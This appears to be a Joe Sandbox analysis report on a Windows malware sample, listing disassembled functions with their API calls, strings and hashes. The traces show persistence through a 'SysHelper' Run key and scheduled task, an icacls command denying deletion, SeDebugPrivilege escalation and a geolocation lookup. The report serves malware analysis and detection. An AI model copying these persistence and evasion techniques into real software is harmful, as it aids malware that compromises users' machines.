Function 00602692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,774CE800,?,?,006029DB,?,00000001), ref: 006026A7
WaitForSingleObject.KERNEL32(00000000,000000FF,774CE800,?,?,006029DB,?,00000001), ref: 006026B5
lstrlen.KERNEL32(?), ref: 006026C4
??2@YAPAXI@Z.MSVCRT ref: 006026CE
lstrcpy.KERNEL32(00000004,?), ref: 006026E3
lstrcpy.KERNEL32(?,00000004), ref: 0060271F
??3@YAXPAX@Z.MSVCRT ref: 0060272D
SetEvent.KERNEL32 ref: 0060273C

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: 8d5d878a3e85c773239b3810eec842b210da35398441d33dae9b4277823ea9da
Instruction ID: 9c4b0927334f90d68ef2e7b969ee9c3fa1da09da0828ec532626ee2782e7ca8a
Opcode Fuzzy Hash: 8d5d878a3e85c773239b3810eec842b210da35398441d33dae9b4277823ea9da
Instruction Fuzzy Hash: D0119DB65C1211EFCB359F14EC5C89B7BAFFF84761710501AF959872A0DB708985CB50

Function 00601B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 00601BCD
rand.MSVCRT ref: 00601BD8
memset.MSVCRT ref: 00601C43
memcpy.MSVCRT ref: 00601C4F
lstrcat.KERNEL32(?,.exe), ref: 00601C5D

Strings

.exe, xrefs: 00601C57
QcYeFvynkuCFKCEVUaztNWBESuhjjKOIMpDPrfPxKiioCwMgilVSzcqnTfLHkbxGdEDDeUGwAmXjuJbmmSlyohwQNaYgGWWPFhZTXpvttIsdlOxUdoqVsaHOgAYNeZJMRzZJRpHRscBArnfrLBXkqbQTIyLv, xrefs: 00601B8A, 00601B9C, 00601C15, 00601C49

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$QcYeFvynkuCFKCEVUaztNWBESuhjjKOIMpDPrfPxKiioCwMgilVSzcqnTfLHkbxGdEDDeUGwAmXjuJbmmSlyohwQNaYgGWWPFhZTXpvttIsdlOxUdoqVsaHOgAYNeZJMRzZJRpHRscBArnfrLBXkqbQTIyLv
API String ID: 122620767-2697347299
Opcode ID: 86552902d001b87dbc9fd012e33c0b4997effb46c458647c6b45e2253418e92c
Instruction ID: 07fc41fc4c1f18fda99c8bf20b4347c3d0953df12419d78a77b33d6fefdfa72f
Opcode Fuzzy Hash: 86552902d001b87dbc9fd012e33c0b4997effb46c458647c6b45e2253418e92c
Instruction Fuzzy Hash: CD218162EC41A06EE33D23356C80BAB3F478FE3711F155099F6860F3D2D76409918264

Function 0060139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\lvAVrO.exe), ref: 006013BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 006013DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00601448

Part of subcall function 0060119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\lvAVrO.exe,?,?,?,?,?,?,006013EF), ref: 006011AB
Part of subcall function 0060119F: OpenProcessToken.ADVAPI32(00000000,00000028,006013EF,?,?,?,?,?,?,006013EF), ref: 006011BB
Part of subcall function 0060119F: AdjustTokenPrivileges.ADVAPI32(006013EF,00000000,?,00000010,00000000,00000000), ref: 006011EB
Part of subcall function 0060119F: CloseHandle.KERNEL32(006013EF), ref: 006011FA
Part of subcall function 0060119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,006013EF), ref: 00601203

Strings

SeDebugPrivilege, xrefs: 006013D3
C:\Users\user\AppData\Local\Temp\lvAVrO.exe, xrefs: 006013A8

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\lvAVrO.exe$SeDebugPrivilege
API String ID: 4123949106-1355490980
Opcode ID: 82caa651e7464cc8509b10e2a18419e0c6c3070b599985b0548ff19b360dd775
Instruction ID: 77a0c82139f2b6e9bb058e56d441f5c9ebd01f91202fe1d68481ce8f1c3b0091
Opcode Fuzzy Hash: 82caa651e7464cc8509b10e2a18419e0c6c3070b599985b0548ff19b360dd775
Instruction Fuzzy Hash: C7318171D80209EADF68DBA5CC45FEFBBBAEB46705F204069E504BB291D7309E45CB60

Function 00601319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00601334
GetProcAddress.KERNEL32(00000000), ref: 0060133B
memset.MSVCRT ref: 00601359

Strings

ntdll.dll, xrefs: 0060132F
NtSystemDebugControl, xrefs: 0060132A

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: 42371fd8cbbcccf40e29399afaede75277b54ec72cfc8e548cf3082c9a0bfaaa
Instruction ID: 677b5d822ab2af2d81c9fb0e4d52b5edfba68a34d3085983c6aeac4c65b278c9
Opcode Fuzzy Hash: 42371fd8cbbcccf40e29399afaede75277b54ec72cfc8e548cf3082c9a0bfaaa
Instruction Fuzzy Hash: 0301C071A8030DBFDB24DF94EC849AFBBBEFB06305F00413AF901A6280E7708605CA50

Function 00601DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00601E0B
lstrcpy.KERNEL32(?,00000001), ref: 00601E1C
strrchr.MSVCRT ref: 00601E2B
lstrcmpiA.KERNEL32(?,00604488), ref: 00601E48
lstrlen.KERNEL32(00604488), ref: 00601E53

Memory Dump Source

Source File: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: 1620b25ff54a5716fd949e3af784a74793d9a6f8cbf87da1b10cf9bf1bbbb983
Instruction ID: 61280646811e81d13d630c42ff248d94f6784d6999b81e246ea07b79e30ad69c
Opcode Fuzzy Hash: 1620b25ff54a5716fd949e3af784a74793d9a6f8cbf87da1b10cf9bf1bbbb983
Instruction Fuzzy Hash: 0701FEB29842296FDB245760DC48BDB77DEDB05351F440065EB46D71D0DAB49A848B90

Function 00606014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0060603C
GetProcAddress.KERNEL32(00000000,00606064), ref: 0060604F

Strings

kernel32.dll, xrefs: 0060603B

Memory Dump Source

Source File: 00000002.00000002.1435689346.0000000000606000.00000040.00000001.01000000.00000004.sdmp, Offset: 00600000, based on PE: true

Associated: 00000002.00000002.1435613322.0000000000600000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435629941.0000000000601000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435657443.0000000000603000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1435674080.0000000000604000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_lvAVrO.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: kernel32.dll
API String ID: 1646373207-1793498882
Opcode ID: d57fa8cfbb61134a5454d992cbc22b7ee142fa9c7b256247d8283a5615b507e4
Instruction ID: 0280d9b97173ba4ac1ece0bec90c6bfe3849d1596cef794b646cbf28505b44e0
Opcode Fuzzy Hash: d57fa8cfbb61134a5454d992cbc22b7ee142fa9c7b256247d8283a5615b507e4
Instruction Fuzzy Hash: 21F0CDB11802898BEF748EA4CC44BDF3BE5EB15700F50442AEA09CB281DB7486158B24

Analysis Process: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exePID: 8012, Parent PID: 7816COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.6%
Total number of Nodes:	806
Total number of Limit Nodes:	91

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,006CAEB0,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
C:\Windows\, xrefs: 0041AE0F
D:\Program Files (x86)\Google\, xrefs: 0041B085
D:\Windows\, xrefs: 0041AFF3
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
IsNotAutoStart, xrefs: 0041A645
runas, xrefs: 0041A6CE
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
IsAutoStart, xrefs: 0041A1D0, 0041A273
<, xrefs: 0041A67B
--Task, xrefs: 0041A2CD
I:\5d2860c89d774.jpg, xrefs: 0041B32F
F:\, xrefs: 0041B397
x2Q, xrefs: 0041A856
--ForNetRes, xrefs: 0041A22E
x*P, xrefs: 0041ACE4
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
%username%, xrefs: 0041B283
--AutoStart, xrefs: 0041A2EC
list<T> too long, xrefs: 0041B669, 0041B673
C:\Program Files\Google\, xrefs: 0041AFB9
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
X1P, xrefs: 0041A485
--Admin, xrefs: 0041A1B4, 0041A632
--Service, xrefs: 0041A30B
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
IsNotTask, xrefs: 0041A654
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
IsTask, xrefs: 0041A1EE, 0041A299
7P, xrefs: 0041B164
D:\Program Files\Google\, xrefs: 0041B0EE

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

--Task, xrefs: 0040D8DD
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
2030-05-02T08:00:00, xrefs: 0040D737
Author Name, xrefs: 0040D4C8
Time Trigger Task, xrefs: 0040D43C, 0040D973
PT5M, xrefs: 0040D5A1, 0040D66C
Trigger1, xrefs: 0040D6FA

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SHGetFolderPathW, xrefs: 00411E9F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
D, xrefs: 00412128
SysHelper, xrefs: 00411D5B, 004120EB
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 00411DD1
" --AutoStart, xrefs: 004120C2
icacls ", xrefs: 0041214C

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

EnumProcessModules, xrefs: 0041226C, 004122A1
Psapi.dll, xrefs: 0041228C
GetModuleBaseNameW, xrefs: 00412277, 004122AC
kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

